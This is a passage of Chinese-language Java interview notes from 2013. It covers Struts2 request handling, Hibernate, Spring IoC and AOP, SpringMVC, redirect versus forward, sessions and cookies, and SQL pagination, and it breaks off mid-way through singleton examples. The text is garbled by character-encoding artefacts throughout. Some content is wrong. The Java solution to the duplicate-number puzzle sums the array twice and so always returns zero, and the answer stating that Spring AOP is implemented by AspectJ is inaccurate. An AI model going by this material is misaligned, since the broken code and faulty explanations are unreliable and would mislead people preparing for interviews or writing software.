Struts2框架獲得了*.action請求后,將根據(jù)*.action請求的前面部分決定調(diào)用哪個(gè)業(yè)務(wù)邏輯組件。例如,對于login.action請求,Struts2調(diào)用名為login的Action來處理該請求。 ?
Struts2應(yīng)用中的Action都被定義在struts.xml文件中,在該文件中定義Action時(shí),定義了該Action的name屬性和class屬性,其中name屬性決定了該Action處理哪個(gè)用戶請求,而class屬性決定了該Action的實(shí)現(xiàn)類。 ??
Struts2用于處理用戶請求的Action實(shí)例,并不是用戶實(shí)現(xiàn)的業(yè)務(wù)控制器,而是Action代理。因?yàn)橛脩魧?shí)現(xiàn)的業(yè)務(wù)控制器并沒有與Servlet API耦合,顯然無法處理用戶請求。而Struts2框架提供了系列攔截器,該系列攔截器負(fù)責(zé)將HttpServletRequest請求中的請求參數(shù)解析出來,傳入到Action中,并回調(diào)Action 的execute方法來處理用戶請求。 ??
??
2、一個(gè)請求在Struts2框架中的處理大概分為以下幾個(gè)步驟: ?
客戶端初始化一個(gè)指向Servlet容器(例如Tomcat)的請求 ,即HttpServletRequest請求 ?
這個(gè)請求經(jīng)過一系列的過濾器(Filter)(這些過濾器中有一個(gè)叫做ActionContextCleanUp的可選過濾器,這個(gè)過濾器對于Struts2和其他框架的集成很有幫助,例如:SiteMesh Plugin) ?
接著FilterDispatcher被調(diào)用,FilterDispatcher詢問ActionMapper來決定這個(gè)請是否需要調(diào)用某個(gè)Action ??
如果ActionMapper決定需要調(diào)用某個(gè)Action,FilterDispatcher把請求的處理交給ActionProxy ??
ActionProxy通過Configuration Manager詢問框架的配置文件,找到需要調(diào)用的Action類 ??
ActionProxy創(chuàng)建一個(gè)ActionInvocation的實(shí)例 ?
ActionInvocation實(shí)例使用命名模式來調(diào)用,在調(diào)用Action的過程前后,涉及到相關(guān)攔截器(Intercepter)的調(diào)用 ?
一旦Action執(zhí)行完畢,ActionInvocation負(fù)責(zé)根據(jù)struts.xml中的配置找到對應(yīng)的返回結(jié)果。返回結(jié)果通常是(但不總是,也可 能是另外的一個(gè)Action鏈)一個(gè)需要被表示的JSP或者FreeMarker的模版。在表示的過程中可以使用Struts2 框架中繼承的標(biāo)簽。在這個(gè)過程中需要涉及到ActionMapper ?
??
在上述過程中所有的對象(Action,Results,Interceptors,等)都是通過ObjectFactory來創(chuàng)建的。 ?
??
問題11:Hibernate的工作原理? ?
??
讀取并解析hibernate.cfg.xml配置文件 ?
讀取并解析映射信息,創(chuàng)建SessionFactory ?
打開Sesssion ?
創(chuàng)建事務(wù)Transaction ?
持久化操作 ?
提交事務(wù) ?
關(guān)閉Session ?
關(guān)閉SesstionFactory ?
??
問題12:為什么要用Hibernate? ?
??
對JDBC訪問數(shù)據(jù)庫的代碼做了封裝,大大簡化了數(shù)據(jù)訪問層繁瑣的重復(fù)性代碼 ?
Hibernate是一個(gè)基于JDBC的主流持久化框架,是一個(gè)優(yōu)秀的ORM實(shí)現(xiàn)。他很大程度的簡化DAO層的編碼工作 ?
Hibernate使用Java反射機(jī)制,而不是字節(jié)碼增強(qiáng)程序來實(shí)現(xiàn)透明性 ?
Hibernate的性能非常好,因?yàn)樗莻€(gè)輕量級框架。映射的靈活性很出色。它支持各種關(guān)系數(shù)據(jù)庫,從一對一到多對多的各種復(fù)雜關(guān)系 ?
??
問題13:Hibernate如何實(shí)現(xiàn)延遲加載? ?
??
當(dāng)Hibernate在查詢數(shù)據(jù)的時(shí)候,數(shù)據(jù)并沒有存在與內(nèi)存中,當(dāng)程序真正對數(shù)據(jù)的操作時(shí),對象才存在與內(nèi)存中,就實(shí)現(xiàn)了延遲加載,他節(jié)省了服務(wù)器的內(nèi)存開銷,從而提高了服務(wù)器的性能。 ?
??
問題14:Hibernate中怎樣實(shí)現(xiàn)類之間的關(guān)系?(如:一對多、多對多的關(guān)系) ?
??
類與類之間的關(guān)系主要體現(xiàn)在表與表之間的關(guān)系進(jìn)行操作,它們都是對對象進(jìn)行操作,我們程序中把所有的表與類都映射在一起,它們通過配置文件中的many-to-one、one-to-many、many-to-many ?
??
問題15:Spring的工作原理? ?
??
IoC(Inversion of control): 控制反轉(zhuǎn) ?
概念:控制權(quán)由對象本身轉(zhuǎn)向容器,由容器根據(jù)配置文件去創(chuàng)建實(shí)例并創(chuàng)建各個(gè)實(shí)例之間的依賴關(guān)系 ?
核心:bean工廠,在Spring中,bean工廠創(chuàng)建的各個(gè)實(shí)例稱作bean ?
??
AOP(Aspect-Oriented Programming): 面向切面編程 ?
??
1、代理的兩種方式: ?
靜態(tài)代理: ?
? 針對每個(gè)具體類分別編寫代理類 ??
? 針對一個(gè)接口編寫一個(gè)代理類 ?
動態(tài)代理: ?
針對一個(gè)切面編寫一個(gè)InvocationHandler,然后借用JDK反射包中的Proxy類為各種接口動態(tài)生成相應(yīng)的代理類 ?
?
2、AOP的主要原理:動態(tài)代理 ?
??
Spring的工作原理 ??
Spring 已經(jīng)用過一段時(shí)間了,感覺Spring是個(gè)很不錯的框架。內(nèi)部最核心的就是IOC了, 動態(tài)注入,讓一個(gè)對象的創(chuàng)建不用new了,可以自動的生產(chǎn),這其實(shí)就是利用Java里的反射 ?
反射其實(shí)就是在運(yùn)行時(shí)動態(tài)的去創(chuàng)建、調(diào)用對象,Spring就是在運(yùn)行時(shí),跟XMLSpring的配置文件來動態(tài)的創(chuàng)建對象,以及調(diào)用對象里的方法 ?
Spring還有一個(gè)核心就是AOP這個(gè)就是面向切面編程,可以為某一類對象進(jìn)行監(jiān)督和控制(也就是在調(diào)用這類對象的具體方法的前后去調(diào)用你指定的模塊)從而達(dá)到對一個(gè)模塊擴(kuò)充的功能,這些都是通過配置類達(dá)到的 ?
?
Spring的目的: ?
就是讓對象與對象(模塊與模塊)之間的關(guān)系沒有通過代碼來關(guān)聯(lián),都是通過配置類說明管理的(Spring根據(jù)這些配置內(nèi)部通過反射去動態(tài)的組裝對象),要記住:Spring是一個(gè)容器,凡是在容器里的對象才會有Spring所提供的這些服務(wù)和功能 ?
Spring里用的最經(jīng)典的一個(gè)設(shè)計(jì)模式就是:模板方法模式。(這里我都不介紹了,是一個(gè)很常用的設(shè)計(jì)模式)Spring里的配置是很多的,很難都記住,但是Spring里的精華也無非就是以上的兩點(diǎn),把以上兩點(diǎn)跟理解了也就基本上掌握Spring。 ?
??
問題16:SpringMVC的工作原理? ?
??
Spring的MVC框架主要由DispatcherServlet、處理器映射、處理器、視圖解析器、視圖組成 ?
??
整個(gè)處理過程從一個(gè)HTTP請求開始: ?
DispatcherServlet接收到請求后,根據(jù)對應(yīng)配置文件中配置的處理器映射,找到對應(yīng)的處理器映射項(xiàng)(HandlerMapping),根據(jù)配置的映射規(guī)則,找到對應(yīng)的處理器(Handler) ?
調(diào)用相應(yīng)處理器中的處理方法,處理該請求,處理器處理結(jié)束后會將一個(gè)ModelAndView類型的數(shù)據(jù)傳給DispatcherServlet,這其中包含了處理結(jié)果的視圖和視圖中要使用的數(shù)據(jù) ?
DispatcherServlet根據(jù)得到的ModelAndView中的視圖對象,找到一個(gè)合適的ViewResolver(視圖解析器),根據(jù)視圖解析器的配置,DispatcherServlet將視圖要顯示的數(shù)據(jù)傳給對應(yīng)的視圖,最后給瀏覽器構(gòu)造一個(gè)HTTP響應(yīng) ?
??
DispatcherServlet是整個(gè)Spring MVC的核心,它負(fù)責(zé)接收HTTP請求組織協(xié)調(diào)Spring MVC的各個(gè)組成部分 ?
其主要工作有以下三項(xiàng): ?
截獲符合特定格式的URL請求 ?
初始化DispatcherServlet上下文對應(yīng)的WebApplicationContext,并將其與業(yè)務(wù)層、持久化層的WebApplicationContext建立關(guān)聯(lián) ?
初始化Spring MVC的各個(gè)組成組件,并裝配到DispatcherServlet中 ?
??
問題17:SendRedirect 和Foward區(qū)別 ?
??
1、請求次數(shù)不同,這是最本質(zhì)的區(qū)別 ?
在Foward方式下,在執(zhí)行當(dāng)前JSP對象或者Servlet對象的過程中去調(diào)用目標(biāo)文件對應(yīng)的對象,相當(dāng)于方法調(diào)用,把request和response對象作為參數(shù)傳遞到目標(biāo)文件對應(yīng)的對象,當(dāng)前文件和目標(biāo)文件的執(zhí)行是在用戶發(fā)送的一次請求中完成的。 ?
在redirect方式下,用于首先請求了當(dāng)前文件,當(dāng)前文件把目標(biāo)文件的地址返回給了客戶端,客戶端再次發(fā)送請求,請求目標(biāo)文件,實(shí)際上是發(fā)送了兩次請求。 ?
??
2、傳值方式不同 ?
在Foward方式下,當(dāng)前文件和目標(biāo)文件屬于同一次請求,共享request對象,所以可以使用request對象傳值。 ?
在redirect方式下,當(dāng)前文件和目標(biāo)文件屬于不同的請求,每次請求會單獨(dú)創(chuàng)建request和response對象,這樣就不能使用request對象來傳值。 ?
在MVC模式下,通常在控制器中調(diào)用模型得到數(shù)據(jù),然后保存到request中,然后Foward到目標(biāo)文件,目標(biāo)文件從request中獲取需要的信息。如果使用sendRedirect方式在控制器和視圖之間傳遞信息,需要使用在目標(biāo)文件之后加上“?名字=值”的方式傳遞。 ?
??
3、客戶端在地址欄中看到的地址不一樣 ?
對于Foward,在地址欄中看到的是第1個(gè)文件的名字。 ?
對于sendRedirect,在地址欄中看到的是第2個(gè)文件的地址。 ?
有時(shí)候會影響目標(biāo)文件中的相對路徑,例如當(dāng)前文件是aa文件夾中的a.jsp,目標(biāo)文件是bb文件夾中的b.jsp,在b.jsp中要訪問一個(gè)圖片,使用相對路徑,直接寫face.jpg,這個(gè)文件與b.jsp放在一起。如果采用forward方式,地址欄中是a.jsp,這樣系統(tǒng)會在aa文件夾中找face.jpg,這時(shí)候就會出錯。 ?
??
問題18:addBatch批量處理數(shù)據(jù)庫數(shù)據(jù)時(shí)用execute對嗎? ?
??
錯,要使用executeBatch執(zhí)行批量SQL語句 ?
??
問題19:簡述JavaWeb中Model2及軟件分層架構(gòu)的好處 ?
??
Model2(JSP+Servlet+JavaBean)具有組件化的優(yōu)點(diǎn)從而更易于實(shí)現(xiàn)對大規(guī)模系統(tǒng)的開發(fā)和管理,職責(zé)劃分清晰。 ?
??
優(yōu)點(diǎn): ?
分層式結(jié)構(gòu)究竟其優(yōu)勢何在?Martin Fowler在《Patterns of Enterprise Application Architecture》一書中給出了答案: ?
1、開發(fā)人員可以只關(guān)注整個(gè)結(jié)構(gòu)中的其中某一層 ?
2、可以很容易的用新的實(shí)現(xiàn)來替換原有層次的實(shí)現(xiàn) ?
3、可以降低層與層之間的依賴 ?
4、有利于標(biāo)準(zhǔn)化 ?
5、利于各層邏輯的復(fù)用 ?
??
概括來說,分層式設(shè)計(jì)可以達(dá)至如下目的:分散關(guān)注、松散耦合、邏輯復(fù)用、標(biāo)準(zhǔn)定義 ?
??
缺點(diǎn): ?
“金無足赤,人無完人”,分層式結(jié)構(gòu)也不可避免具有一些缺陷 ?
1、降低了系統(tǒng)的性能,這是不言而喻的。如果不采用分層式結(jié)構(gòu),很多業(yè)務(wù)可以直接造訪數(shù)據(jù)庫,以此獲取相應(yīng)的數(shù)據(jù),如今卻必須通過中間層來完成 ?
2、有時(shí)會導(dǎo)致級聯(lián)的修改,這種修改尤其體現(xiàn)在自上而下的方向。如果在表示層中需要增加一個(gè)功能,為保證其設(shè)計(jì)符合分層式結(jié)構(gòu),可能需要在相應(yīng)的業(yè)務(wù)邏輯層和數(shù)據(jù)訪問層中都增加相應(yīng)的代碼。 ?
關(guān)于第一個(gè)缺點(diǎn),完全可以通過系統(tǒng)的緩存機(jī)制來減小對性能的影響。第二個(gè)缺點(diǎn),我想只能通過采用一些設(shè)計(jì)模式來得到改善吧。 ?
?
問題20:說說Session分話的原理,Session與Cookie的關(guān)系及區(qū)別 ?
??
服務(wù)器上通過Session來分別不同的用戶Session ID ?
任何連接到服務(wù)器上的用戶,服務(wù)器都會位之分配唯一的一個(gè)不會重復(fù)的Session ID ?
Session ID是由服務(wù)器統(tǒng)一管理的,人為不能控制 ?
??
Session在服務(wù)器上2個(gè)基本操作: ?
Session.setAttribute(String key,Object obj)以鍵值對的方式存儲數(shù)據(jù) ?
Session.getAttribute(String key)根據(jù)鍵獲取數(shù)據(jù) ?
?
Session是服務(wù)器端緩存,Cookie是客戶端緩存 ?
Cookie機(jī)制采用的是在客戶端保持狀態(tài)的方案,而Session機(jī)制采用的是在服務(wù)器端保持狀態(tài)的方案 ?
??
問題21:Cookie中的值能否包含各種特殊字符及中文字符?如果不能,那應(yīng)該如何處理? ?
??
當(dāng)Cookie中包含有等號、空格、分號等特殊字符時(shí),可能會導(dǎo)致數(shù)據(jù)丟失、或者不能解析的錯誤,一個(gè)較好的解決辦法就是:在將Cookie值寫入客戶端瀏覽器之前,首先進(jìn)行URLEncode編碼,讀取Cookie時(shí),進(jìn)行URLDecode即可。 ?
??
問題22:JDBC和Hibernate的比較? ?
??
JDBC與Hibernate在性能上相比,JDBC靈活性有優(yōu)勢。而Hibernate在易學(xué)性,易用性上有些優(yōu)勢。當(dāng)用到很多復(fù)雜的多表聯(lián)查和復(fù)雜的數(shù)據(jù)庫操作時(shí),JDBC有優(yōu)勢。 ?
??
相同點(diǎn): ?
兩者都是JAVA的數(shù)據(jù)庫操作中間件 ?
兩者對于數(shù)據(jù)庫進(jìn)行直接操作的對象都不是線程安全的,都需要及時(shí)關(guān)閉 ?
兩者都可以對數(shù)據(jù)庫的更新操作進(jìn)行顯式的事務(wù)處理 ?
??
不同點(diǎn): ?
使用的SQL語言不同:JDBC使用的是基于關(guān)系型數(shù)據(jù)庫的標(biāo)準(zhǔn)SQL語言,Hibernate使用的是HQL(Hibernate query language)語言 ?
操作的對象不同:JDBC操作的是數(shù)據(jù),將數(shù)據(jù)通過SQL語句直接傳送到數(shù)據(jù)庫中執(zhí)行,Hibernate操作的是持久化對象,由底層持久化對象的數(shù)據(jù)更新到數(shù)據(jù)庫中。 ?
數(shù)據(jù)狀態(tài)不同:JDBC操作的數(shù)據(jù)是“瞬時(shí)”的,變量的值無法與數(shù)據(jù)庫中的值保持一致,而Hibernate操作的數(shù)據(jù)是可持久的,即持久化對象的數(shù)據(jù)屬性的值是可以跟數(shù)據(jù)庫中的值保持一致的。 ?
??
Hibernate與JDBC哪個(gè)好?各自的優(yōu)點(diǎn)和缺點(diǎn): ?
1、內(nèi)存消耗:采用JDBC的無疑是最省內(nèi)存的,Hibernate的次之 ?
2、運(yùn)行效率:如果JDBC的代碼寫的非常優(yōu)化,那么JDBC架構(gòu)運(yùn)行效率最高,但是實(shí)際項(xiàng)目中,這一點(diǎn)幾乎做不到,這需要程序員非常精通JDBC,運(yùn)用Batch語句,調(diào)整PreapredStatement的Batch Size和Fetch Size等參數(shù),以及在必要的情況下采用結(jié)果集cache等等。而一般情況下程序員是做不到這一點(diǎn)的。因此Hibernate架構(gòu)表現(xiàn)出最快的運(yùn)行效率 ?
3、開發(fā)效率:在大的項(xiàng)目,特別是持久層關(guān)系映射很復(fù)雜的情況下,Hibernate效率高的驚人,JDBC次之 ?
??
延遲加載是罪魁禍?zhǔn)?#xff0c;所謂“成也蕭何,敗也蕭何” ?
有時(shí)發(fā)現(xiàn)查詢速度很慢,檢查才發(fā)現(xiàn)是我沒有啟用延遲加載,造成遞歸的數(shù)據(jù)都被加載進(jìn)來了 ?
如果加上了延遲加載,那么許多頁面將無法使用,必須在程序里進(jìn)行代碼級別的遞歸的延遲加載數(shù)據(jù)的讀取 ?
??
1 用HQL來寫查詢語句,這是最高效的辦法(推薦) ?
2 用JDBC,脫離了Hibernate范疇,緩存方面和樂觀所方面會出現(xiàn)不一致,而且語句變得繁瑣了(不推薦) ?
3 將前臺要用到的實(shí)體,獨(dú)立設(shè)計(jì)成單獨(dú)的類,沒有任何關(guān)聯(lián),都是單表,用到的只是Hibernate的封裝以及簡單的OR映射 ?
4 在大數(shù)據(jù)量系統(tǒng)中都會遇到類似的問題,我的解決方法是少用一對多關(guān)聯(lián)映射或者不用一對多關(guān)聯(lián),設(shè)置關(guān)聯(lián)少的數(shù)據(jù)表,用SQL語句做關(guān)聯(lián)的查詢,Hibernate中映射的配置 Lazy都為False ?
??
2013年8月9日:微游科技、三六五世界科技 ?
??
問題1:有一個(gè)1001個(gè)元素的數(shù)組a[n],每個(gè)元素都在1到1000這些整數(shù)中取值,其中只有一個(gè)數(shù)得復(fù),并且數(shù)組中每個(gè)元素只能被訪問一次,設(shè)計(jì)一個(gè)算法找出這個(gè)數(shù)字.說明:每個(gè)元素只能被訪問一次,就像執(zhí)行int v=a[1],v變量和a[1]元素不能再訪問.求高手指教 ?
??
一共有1001個(gè)數(shù),其中1000個(gè)數(shù)是從1到1000取值的(而且取完一遍),另外一個(gè)數(shù)是重復(fù)數(shù),那就用這1001個(gè)數(shù)的和,與前頭那個(gè)1000數(shù)的等差數(shù)列相減,便得出那個(gè)重復(fù)數(shù)了. ?
for (int num=0,i=0;i<1001;i++){num+=a【i】-i;} ?i從0開始,所以減的是1到1000的和。 ?
??
int[] arr = new int[1001];// 定義一個(gè)能夠存儲1001個(gè)元素的數(shù)組。 ?
? ? ? ? int sum = 0;// 定義一個(gè)變量用于存儲arr數(shù)組元素里面的所有總和。 ?
? ? ? ? int sum1 = 0;// 定義一個(gè)變量用于存儲1-1000的總和。 ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < arr.length; i++) { ?
? ? ? ? ? ? sum += arr[i];// 用for循環(huán),遍歷求出集合中所有元素的總和。 ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < 1001; i++) { ?
? ? ? ? ? ? sum1 += arr[i];// 用for循環(huán),遍歷求出1-1000中所有元素的總和。 ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? int a = sum - sum1;// 假設(shè)a為,arr數(shù)組里面重復(fù)的元素! ?
? ? ? ? System.out.println("數(shù)組里面重復(fù)的數(shù)字為:" + a); ?
??
問題2:瀑布式開發(fā)模型和螺旋式開發(fā)模型? ?
??
瀑布式模型:可行性研究與計(jì)劃、需求分析、設(shè)計(jì)、開發(fā)、測試、維護(hù) ?
螺旋式模型:可行性研究報(bào)告、需求說明書、設(shè)計(jì)文檔、程序、測試報(bào)告 ?
??
瀑布式模型要做完上一步才可以進(jìn)行下一步,現(xiàn)已淘汰 ?
??
螺旋模型(Spiral Model)采用一種周期性的方法來進(jìn)行系統(tǒng)開發(fā),這會導(dǎo)致開發(fā)出眾多的中間版本 ?
使用它,項(xiàng)目經(jīng)理在早期就能夠?yàn)榭蛻魧?shí)證某些概念。該模型是快速原型法,以進(jìn)化的開發(fā)方式為中心,在每個(gè)項(xiàng)目階段使用瀑布模型法。 ?
這種模型的每一個(gè)周期都包括需求定義、風(fēng)險(xiǎn)分析、工程實(shí)現(xiàn)和評審4個(gè)階段,由這4個(gè)階段進(jìn)行迭代。軟件開發(fā)過程每迭代一次,軟件開發(fā)又前進(jìn)一個(gè)層次。 ?
??
問題3:Spring底層動態(tài)代理失效,怎么實(shí)現(xiàn)切面? ?
??
Spring默認(rèn)使用JDK動態(tài)代理(Proxy),但JDK動態(tài)代理是針對接口做代理的。如果類不是實(shí)現(xiàn)的接口的時(shí)候,就會使用cglib代理。當(dāng)然,你也可以在配置文件里指定使用cglib ?
??
JDK代理:只能代理實(shí)現(xiàn)了接口的類 ?
cglib代理:不僅可以對實(shí)現(xiàn)接口的類進(jìn)行代理,同時(shí)也可以對類本身生成代理(主要是通過繼承這個(gè)類來生成的,所以不要將要代理的類設(shè)成final) ?
??
問題4:什么是動態(tài)代理? ?
??
動態(tài)代理可以提供對另一個(gè)對象的訪問,同時(shí)隱藏實(shí)際對象的具體事實(shí) ?
代理一般會實(shí)現(xiàn)它所表示的實(shí)際對象的接口 ?
代理可以訪問實(shí)際對象,但是延遲實(shí)現(xiàn)實(shí)際對象的部分功能,實(shí)際對象實(shí)現(xiàn)系統(tǒng)的實(shí)際功能,代理對象對客戶隱藏了實(shí)際對象。客戶不知道它是與代理打交道還是與實(shí)際對象打交道 ?
??
問題5:Struts2中的Action為什么是多例的? ?
??
Struts2的Action是多實(shí)例的并非單例,也就是每次請求產(chǎn)生一個(gè)Action的對象 ?
??
原因是: ?
Struts2的Action中包含數(shù)據(jù) ?
例如你在頁面填寫的數(shù)據(jù)就會包含在Action的成員變量里面,如果Action是單實(shí)例的話,這些數(shù)據(jù)在多線程的環(huán)境下就會相互影響,例如造成別人填寫的數(shù)據(jù)被你看到了 ?
??
而Struts1的Action是單實(shí)例的 ?
因?yàn)樗臄?shù)據(jù)保存在Form類中,多線程環(huán)境下,Action只負(fù)責(zé)處理一些邏輯,并沒有數(shù)據(jù),也就是大家把它當(dāng)做一個(gè)工具使用 ?
?
同樣Servlet也是單實(shí)例的 ?
??
問題6:Struts1和Struts2的區(qū)別? ?
??
Struts1的前端控制器是一個(gè)Servlet,名稱為ActionServlet,Struts2的前端控制器是一個(gè)filter,在Struts2.0中叫FilterDispatcher,在Struts2.1中叫StrutsPrepareAndExecuteFilter ?
Struts1的action需要繼承Action類,Struts2的action可以不繼承任何類;Struts1對同一個(gè)路徑的所有請求共享一個(gè)Action實(shí)例,Struts2對同一個(gè)路徑的每個(gè)請求分別使用一個(gè)獨(dú)立Action實(shí)例對象,所有對于Struts2的Action不用考慮線程安全問題 ?
在Struts1中使用formbean封裝請求參數(shù),在Struts2中直接使用action的屬性來封裝請求參數(shù) ?
Struts1 整合了JSTL,因此使用JSTL/EL。這種EL有基本對象圖遍歷,但是對集合和索引屬性的支持很弱。 ?
Struts2可以使用JSTL,但是也支持一個(gè)更強(qiáng)大和靈活的表達(dá)式語言--Object Graph Notation Language (OGNL)對象導(dǎo)航語言 ?
Struts 1使用標(biāo)準(zhǔn)JSP機(jī)制把對象綁定到頁面中來訪問 ?
Struts 2 使用ValueStack值棧技術(shù),使taglib能夠訪問值而不需要把你的頁面(view)和對象綁定起來 ?
Struts 1 ActionForm 屬性通常都是String類型。Struts1使用Commons-Beanutils進(jìn)行類型轉(zhuǎn)換 ?
Struts2 使用OGNL進(jìn)行類型轉(zhuǎn)換,提供基本和常用對象的轉(zhuǎn)換器 ?
Struts 1支持在ActionForm的validate方法中手動校驗(yàn),或者通過Commons Validator的擴(kuò)展來校驗(yàn)。 ??
Struts2支持通過validate方法和XWork校驗(yàn)框架來進(jìn)行校驗(yàn)。 ?
執(zhí)行流程 ?
Struts1 ?
JSP發(fā)起HTTPRequest請求Servlet捕獲struts.xmlnamespace+ActionNameAction填充表單setXxx()action.execute()“success”Result設(shè)置Request屬性跳轉(zhuǎn)目標(biāo)頁 ?
Struts2 ?
Action(JSP發(fā)起HTTPRequest請求,被過濾器捕獲)FilterDispatcherstruts.xmlnamespace+ActionNamenew Action填充表單setXxx()action.execute()“success”Result設(shè)置Request屬性跳轉(zhuǎn)目標(biāo)頁 ?
??
問題7:MySQL和Oracle的分頁查詢語句? ?
??
MySQL: ?
第一個(gè)參數(shù)指定返回的第一行在所有數(shù)據(jù)中的位置,從0開始(注意不是1),第二個(gè)參數(shù)指定最多返回行數(shù) ?
SELECT * FROM table LIMIT 5,10; #返回第6-15行數(shù)據(jù) ? ?
SELECT * FROM table LIMIT 5; ? ?#返回前5行 ? ?
SELECT * FROM table LIMIT 0,5; ?#返回前5行 ? ?
??
Oracle: ?
第1種: ?
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM TABLE_NAME) A ??
WHERE ROWNUM <= 40 ?
) ?
WHERE RN >= 21 ?
??
第2種: ?
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM TABLE_NAME) A ??
) ?
WHERE RN BETWEEN 21 AND 40 ?
??
對比這兩種寫法,絕大多數(shù)的情況下,第一個(gè)查詢的效率比第二個(gè)高得多。 ?
??
這是由于CBO優(yōu)化模式下,Oracle可以將外層的查詢條件推到內(nèi)層查詢中,以提高內(nèi)層查詢的執(zhí)行效率。對于第一個(gè)查詢語句,第二層的查詢條件WHERE ROWNUM <= 40就可以被Oracle推入到內(nèi)層查詢中,這樣Oracle查詢的結(jié)果一旦超過了ROWNUM限制條件,就終止查詢將結(jié)果返回了 ?
?
而第二個(gè)查詢語句,由于查詢條件BETWEEN 21 AND 40是存在于查詢的第三層,而Oracle無法將第三層的查詢條件推到最內(nèi)層(即使推到最內(nèi)層也沒有意義,因?yàn)樽顑?nèi)層查詢不知道RN代表什么) ?
因此,對于第二個(gè)查詢語句,Oracle最內(nèi)層返回給中間層的是所有滿足條件的數(shù)據(jù),而中間層返回給最外層的也是所有數(shù)據(jù)。數(shù)據(jù)的過濾在最外層完成,顯然這個(gè)效率要比第一個(gè)查詢低得多 ?
?
問題8:部署在不同Tomcat的兩個(gè)項(xiàng)目間如何通信? ?
??
使用WebService技術(shù)實(shí)現(xiàn) ?
使用Socket技術(shù)實(shí)現(xiàn) ?
使用Http請求技術(shù)實(shí)現(xiàn) ?
??
問題9:請你談?wù)凷SH整合? ?
??
Struts(表示層)+Spring(業(yè)務(wù)層)+Hibernate(持久層) ?
??
Struts: ?
Struts是一個(gè)表示層框架,主要作用是界面展示,接收請求,分發(fā)請求 ?
在MVC框架中,Struts屬于VC層次,負(fù)責(zé)界面表現(xiàn),負(fù)責(zé)MVC關(guān)系的分發(fā) ?
?
View:沿用 JSP,HTTP,Form,Tag,Resourse ?
Controller:ActionServlet,struts-config.xml,Action ?
Hibernate: ?
Hibernate是一個(gè)持久層框架,它只負(fù)責(zé)與關(guān)系數(shù)據(jù)庫的操作 ?
??
Spring: ?
Spring是一個(gè)業(yè)務(wù)層框架,是一個(gè)整合的框架,能夠很好地黏合表示層與持久層 ?
??
問題10:Struts2的數(shù)據(jù)都在ValueStack中,怎么保證數(shù)據(jù)的安全性?ValueStack生命周期多長? ?
??
因?yàn)閂alueStack在ActionContext中,而ActionContext在ThreadLocal中,所以能保證數(shù)據(jù)的安全性 ?
ValueStack的生命周期是一次請求,因?yàn)锳ctionContext把ValueStack放在Request域里面 ?
??
問題11:OGNL有什么優(yōu)點(diǎn)? ?
??
可以訪問ValueStack和AcionContext ?
可以操作集合對象,很方便的構(gòu)建各種集合 ?
可以在 struts.xml訪問action定義的屬性 ?
可以調(diào)用對象的方法 ?
JSTL/EL只能在JSP中使用,而OGNL可以在更多的View使用 ?
??
問題12:為什么使用Spring?有什么優(yōu)點(diǎn)? ?
??
降低了組件之間的耦合性 ,實(shí)現(xiàn)了軟件各層之間的解耦 ?
可以使用容器提供的眾多服務(wù),如事務(wù)管理,消息服務(wù)等 ?
容器提供單例模式支持 ?
容器提供了AOP技術(shù),利用它很容易實(shí)現(xiàn)如權(quán)限攔截,運(yùn)行期監(jiān)控等功能 ?
容器提供了眾多的輔助類,能加快應(yīng)用的開發(fā) ?
Spring對于主流的應(yīng)用框架提供了集成支持,如Hibernate,JPA,Struts等 ?
Spring屬于低侵入式設(shè)計(jì),代碼的污染極低 ?
獨(dú)立于各種應(yīng)用服務(wù)器 ?
Spring的DI機(jī)制降低了業(yè)務(wù)對象替換的復(fù)雜性(依賴注入) ?
10、Spring的高度開放性,并不強(qiáng)制應(yīng)用完全依賴于Spring,開發(fā)者可以自由選擇Spring的部分或全部 ?
??
2013年8月13日:信諾網(wǎng)利 ?
??
問題1:Spring的AOP是用什么來實(shí)現(xiàn)的? ?
??
Spring AOP就是用AspectJ來實(shí)現(xiàn)的,是依賴關(guān)系 ?
AspectJ是動態(tài)代理的一種實(shí)現(xiàn),而Spring默認(rèn)使用的就是AspectJ來實(shí)現(xiàn)的動態(tài)代理,Spring自己的AOP就是使用AspectJ來實(shí)現(xiàn)的 ?
?
AOP:Aspect Oriented Programming(面向切面編程) ?
利用動態(tài)代理實(shí)現(xiàn)面向切面編程 ?
Spring實(shí)現(xiàn)動態(tài)代理配置是有兩種配置文件: ?
XML文件方式 ?
Annotation方式,使用AspectJ類庫實(shí)現(xiàn)的 ?
AspectJ類庫,AspectJ是一個(gè)專門用來實(shí)現(xiàn)動態(tài)代理(AOP編程)的類庫,AspectJ是面向切面編程的框架,Spring使用就是這個(gè)類庫實(shí)現(xiàn)動態(tài)代理的 ?
AspectJ的專業(yè)術(shù)語: ?
JoinPoint連接點(diǎn)(切入點(diǎn)) ?
PointCut切入點(diǎn),當(dāng)需要定義一個(gè)切入點(diǎn)時(shí),則需要使用這個(gè) ?
Aspect切面 ?
Advice切入點(diǎn)的邏輯 ?
Target被代理對象 ?
Weave織入 ?
?
問題2:單例模式 ?
??
單例模式是設(shè)計(jì)模式中最簡單的形式之一 ?
這一模式的目的是使得類的一個(gè)對象成為系統(tǒng)中的唯一實(shí)例,要實(shí)現(xiàn)這一點(diǎn),可以從客戶端對其進(jìn)行實(shí)例化開始 ?
因此需要用一種只允許生成對象類的唯一實(shí)例的機(jī)制,“阻止”所有想要生成對象的訪問。 ?
使用工廠方法來限制實(shí)例化過程,這個(gè)方法應(yīng)該是靜態(tài)方法(類方法),因?yàn)樽岊惖膶?shí)例去生成另一個(gè)唯一實(shí)例毫無意義 ?
??
// 第一種形式: 也是常用的形式。 ?
public class Singleton { ?
? ? private static Singleton instance = null; ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? public static Singleton getInstance() { ?
? ? ? ? if (instance == null) { ?
? ? ? ? ? ? instance = new Singleton(); ?
? ? ? ? } ?
? ? ? ? return instance; ?
? ? } ?
} ?
??
// 第二種形式: ?
public class Singleton { ?
? ? // 在自己內(nèi)部定義自己的一個(gè)實(shí)例,只供內(nèi)部調(diào)用 ?
? ? private static Singleton instance = new Singleton(); ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? // 這里提供了一個(gè)供外部訪問本class的靜態(tài)方法,可以直接訪問 ?
? ? public static Singleton getInstance() { ?
? ? ? ? return instance; ?
? ? } ?
} ?
??
// 第三種形式: 雙重鎖的形式。 ?
